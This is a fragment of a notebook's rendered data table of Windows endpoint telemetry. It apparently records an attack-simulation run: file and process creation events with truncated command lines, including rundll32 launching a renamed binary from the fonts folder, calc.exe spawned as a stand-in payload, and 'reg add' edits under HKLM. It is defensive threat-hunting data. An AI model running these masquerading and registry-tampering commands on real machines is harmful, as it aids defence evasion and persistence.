<td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>6</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.5528606Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>7</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.573237Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>8</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:03.0059329Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd  /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...</td>\\n\",\n       \"      <td>2018-11-29T12:00:02.596032Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>5828</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>1ba79a1aad55d1a21114d46ec5cc9f56</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>4565766792d2562b01b8407ad7f369195f4830a4</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>9</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:02.9590514Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>10</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.573237Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>11</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.5855211Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>12</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:02.9746816Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>13</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.6962427Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>14</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.802793Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>15</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.802793Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>16</th>\\n\",\n       \"      <td>FileCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.5528606Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>NaN</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>FileCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>17</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5554854Z</td>\\n\",\n       \"      <td>system</td>\\n\",\n       \"      <td>svchost.exe -k netsvcs -p -s Schedule</td>\\n\",\n       \"      <td>2018-11-28T15:29:30.2613844Z</td>\\n\",\n       \"      <td>svchost.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\svchost.exe</td>\\n\",\n       \"      <td>1208</td>\\n\",\n       \"      <td>System</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>4960.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>18</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5705082Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>b5e688d267a6160c42ca7ff7d05c8e1c</td>\\n\",\n       \"      <td>conhost.exe 0xffffffff -ForceV1</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5698921Z</td>\\n\",\n       \"      <td>4248.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>abc8783c6514a1e562a01de7ae053c14d01c9c30</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>19</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:00.775601Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>cmd  /c echo Any questions about the commands ...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.7751007Z</td>\\n\",\n       \"      <td>4728.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>20</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:00.8205578Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>cmd  /c echo timb@microsoft.com; romead@micros...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.8201255Z</td>\\n\",\n       \"      <td>1952.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>21</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:00.8667077Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>cmd.exe /c date/T</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.8550543Z</td>\\n\",\n       \"      <td>2148.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>22</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:00.9081495Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>cmd.exe /c echo 12:00:00.89</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.9075513Z</td>\\n\",\n       \"      <td>5060.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>23</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:01.1878668Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>2e25b04eee4844b479dace1179591331</td>\\n\",\n       \"      <td>eventcreate  /T Information /ID 0000 /L System...</td>\\n\",\n       \"      <td>2018-11-29T12:00:01.1873832Z</td>\\n\",\n       \"      <td>5248.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>e0da2c7a03dc21cd801991b421c59b038afea75d</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>24</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:02.597654Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>2a904387c6831d0ffdd877e35ef02d56</td>\\n\",\n       \"      <td>cmd  /c \\\"echo # aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...</td>\\n\",\n       \"      <td>2018-11-29T12:00:02.5960320Z</td>\\n\",\n       \"      <td>5828.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>d520ad2ee2ab194e2fa2ae1733f273781b44d83c</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>25</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:02.7113689Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>rundll32.exe  /C c:\\\\windows\\\\fonts\\\\conhost.exe</td>\\n\",\n       \"      <td>2018-11-29T12:00:02.7109900Z</td>\\n\",\n       \"      <td>2764.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>26</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:03.0359776Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>rundll32.exe  /C c:\\\\windows\\\\fonts\\\\conhost.exe</td>\\n\",\n       \"      <td>2018-11-29T12:00:02.71099Z</td>\\n\",\n       \"      <td>rundll32.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\rund...</td>\\n\",\n       \"      <td>2764</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>6361e5dfefab7d9045e8b2ecf1446d20</td>\\n\",\n       \"      <td>\\\"win32calc.exe\\\"</td>\\n\",\n       \"      <td>2018-11-29T12:00:03.0354577Z</td>\\n\",\n       \"      <td>2444.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>1aebeceb74a967d7d7f8481575afdd966fdb87bb</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>27</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:03.2503162Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>reg  add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Contro...</td>\\n\",\n       \"      <td>2018-11-29T12:00:03.2488945Z</td>\\n\",\n       \"      <td>1692.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>28</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:03.5472939Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>reg  add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Contro...</td>\\n\",\n       \"      <td>2018-11-29T12:00:03.2488945Z</td>\\n\",\n       \"      <td>reg.exe</td>\\n\",\n       \"      <td>c:\\\\users\\\\administrator\\\\appdata\\\\local\\\\temp\\\\reg.exe</td>\\n\",\n       \"      <td>1692</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>6361e5dfefab7d9045e8b2ecf1446d20</td>\\n\",\n       \"      <td>\\\"win32calc.exe\\\"</td>\\n\",\n       \"      <td>2018-11-29T12:00:03.5463146Z</td>\\n\",\n       \"      <td>980.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>1aebeceb74a967d7d7f8481575afdd966fdb87bb</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>ProcessCreationEvents</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>29</th>\\n\",\n       \"      <td>ProcessCreated</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      <td>2018-11-29T12:00:03.6698866Z</td>\\n\",\n       \"      <td>administrator</td>\\n\",\n       \"      <td>cmd.exe /c \\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Sim...</td>\\n\",\n       \"      <td>2018-11-29T12:00:00.5549899Z</td>\\n\",\n       \"      <td>cmd.exe</td>\\n\",\n       \"      <td>c:\\\\windows\\\\system32\\\\cmd.exe</td>\\n\",\n       \"      <td>4960</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>...</td>\\n\",\n       \"      <td>16811055.0</td>\\n\",\n       \"      <td>69693c99966f1bced41e2f392e7bd807</td>\\n\",\n       \"      <td>reg  add \\\"HKLM\\\\system\\\\CurrentControlSet\\\\Contro...</td>\\n\",\n       \"      <td>2018-11-29T12:00:03.6694160Z</td>\\n\",\n       \"      <td>2324.0</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>TokenElevationTypeDefault</td>\\n\",\n       \"      <td>8bf2d880a885cf992f14856567b72f1a35806ca9</td>\\n\",\n       \"      <td></td>\\n\",\n       \"      